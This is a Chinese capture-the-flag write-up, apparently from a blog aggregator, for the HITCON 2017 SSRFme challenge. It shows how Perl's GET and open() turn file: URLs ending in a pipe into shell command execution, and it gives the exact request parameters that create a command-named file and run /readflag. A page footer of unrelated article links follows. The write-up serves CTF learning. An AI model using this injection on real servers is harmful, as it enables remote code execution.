当前位置: 首页 > news >正文

[HITCON 2017]SSRFme perl语言的 GET open file 造成rce

这里记录学习一下 perl的open缺陷

这里首先本地测试一下

发现这里使用open打开 的时候 如果通过管道符 就会实现命令执行

然后这里注意的是 perl 中的get 调用了 open的参数 所以其实我们可以通过管道符实现命令执行

然后这里如果file可控那么就继续可以实现命令执行

这里就是 open支持file协议

file协议加上| 可以将文件名 作为shell输出

touch 'id|'GET 'file:id|'

类似这种

然后我们可以开始做这个题目

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));$info = pathinfo($_GET["filename"]);$dir  = str_replace(".", "", basename($info["dirname"]));

这里是内容 我们输入通过GET url 可以实现写入一个文件

这里考的其实就是

我们通过filename生成一个shell文件(名字为shell)

然后通过(GET filename)这种形式实现命令执行 然后再写入一个文件

这里可能比较抽象 我们来本地测试一下

这里我们首先可以通过

    @mkdir($dir);@chdir($dir);@file_put_contents(basename($info["basename"]), $data);

这种确定是perl语言

然后

我们首先传入

url=123&filename=ls|   //目的创建一个shell名字的文件然后url=file:ls|&filename=1.txt  // 通过file协议和| 让ls不做为文件名 而变为shell

首先了命令执行

然后

这里可以发现是一个二进制文件 无法获取flag 我们通过 bash开启操作即可

?url=123|&filename=bash -c /readflag|/?url=file:bash -c /readflag|&filename=1.txt

然后我们就获取到了flag 这里或者可以通过反弹shell实现 但是麻烦了

相关文章:

  • 亚马逊云科技re_Invent 2023产品体验:亚马逊云科技产品应用实践 国赛选手带你看Elasticache Serverless
  • 超级计算机行业分析:中国市场概念及发展现状研究
  • Qt优秀开源项目之十九:跨平台记事本Notes
  • Property ‘sqlSessionFactory‘ or ‘sqlSessionTemplate‘ are required
  • 在Go中导入软件包
  • 软件设计师——计算机网络(二)
  • 大数据技术7:基于StarRocks统一OALP实时数仓
  • JavaScript强制类型转换
  • TSINGSEE青犀中央厨房视频智能监控监管解决方案
  • SSD基础架构与NAND IO并发问题探讨
  • GeoTools学习笔记
  • 雅典娜Athena-signa音频算法源码与麦克风阵列角度定义互换问题
  • 【uniapp小程序】如何根据开发和发行,自动替换不同环境的baseUrl
  • strings
  • RocketMQ源码 Broker-SubscriptionGroupManager 订阅组管理组件源码分析
  • @angular/forms 源码解析之双向绑定
  • 【mysql】环境安装、服务启动、密码设置
  • Docker 1.12实践:Docker Service、Stack与分布式应用捆绑包
  • E-HPC支持多队列管理和自动伸缩
  • Java读取Properties文件的六种方法
  • Redis学习笔记 - pipline(流水线、管道)
  • RxJS 实现摩斯密码(Morse) 【内附脑图】
  • ⭐ Unity 开发bug —— 打包后shader失效或者bug (我这里用Shader做两张图片的合并发现了问题)
  • vue 配置sass、scss全局变量
  • vue+element后台管理系统,从后端获取路由表,并正常渲染
  • Vultr 教程目录
  • 猴子数据域名防封接口降低小说被封的风险
  • 爬虫模拟登陆 SegmentFault
  • 浅析微信支付:申请退款、退款回调接口、查询退款
  • 通过git安装npm私有模块
  • 一份游戏开发学习路线
  • hi-nginx-1.3.4编译安装
  • SAP CRM里Lead通过工作流自动创建Opportunity的原理讲解 ...
  • ​ArcGIS Pro 如何批量删除字段
  • (11)MATLAB PCA+SVM 人脸识别
  • (17)Hive ——MR任务的map与reduce个数由什么决定?
  • (27)4.8 习题课
  • (AngularJS)Angular 控制器之间通信初探
  • (C++20) consteval立即函数
  • (LeetCode) T14. Longest Common Prefix
  • (附源码)spring boot车辆管理系统 毕业设计 031034
  • (力扣题库)跳跃游戏II(c++)
  • (学习日记)2024.02.29:UCOSIII第二节
  • (一)Java算法:二分查找
  • (转)Android学习笔记 --- android任务栈和启动模式
  • (转)甲方乙方——赵民谈找工作
  • .NET Core WebAPI中封装Swagger配置
  • .NET Core工程编译事件$(TargetDir)变量为空引发的思考
  • .Net Core与存储过程(一)
  • .net web项目 调用webService
  • .Net的C#语言取月份数值对应的MonthName值
  • .net访问oracle数据库性能问题
  • .NET运行机制
  • .NET值类型变量“活”在哪?
  • @RequestMapping用法详解